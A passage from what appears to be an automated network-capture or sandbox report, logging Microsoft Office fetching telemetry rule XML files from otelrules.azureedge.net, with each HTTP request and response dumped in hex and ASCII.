2024-11-18 07:55:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 07:55:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075535Z-16547b76f7fffb7lhC1DFWdsxg00000005r0000000004g3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075535Z-16547b76f7fwcwmrhC1DFWtp04000000019g00000000fxwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075535Z-1866b5c5fbb7km9phC1DFWr2sc000000049000000000bayn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:35 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075535Z-16547b76f7f6nr89hC1DFWz7ug00000001wg000000003q79 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:36 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075536Z-16547b76f7fljddfhC1DFWeqbs000000068g00000000cmwe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075536Z-1866b5c5fbbfhwqqhC1DFW513800000004xg000000006vgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 485a87fa-401e-0029-449d-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075536Z-164f84587bf6n6jwhC1DFW90fn00000004qg00000000714f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:36 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075536Z-16547b76f7fkf5v9hC1DFW2y5s00000005dg0000000054wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:36 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:36 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075536Z-164f84587bfm8kdnhC1DFWey4g00000005p0000000003enz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:36 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:38 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:38 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075538Z-16547b76f7fljddfhC1DFWeqbs000000068000000000gak6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075538Z-16547b76f7fwm7vghC1DFW900s000000035g000000002dbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" 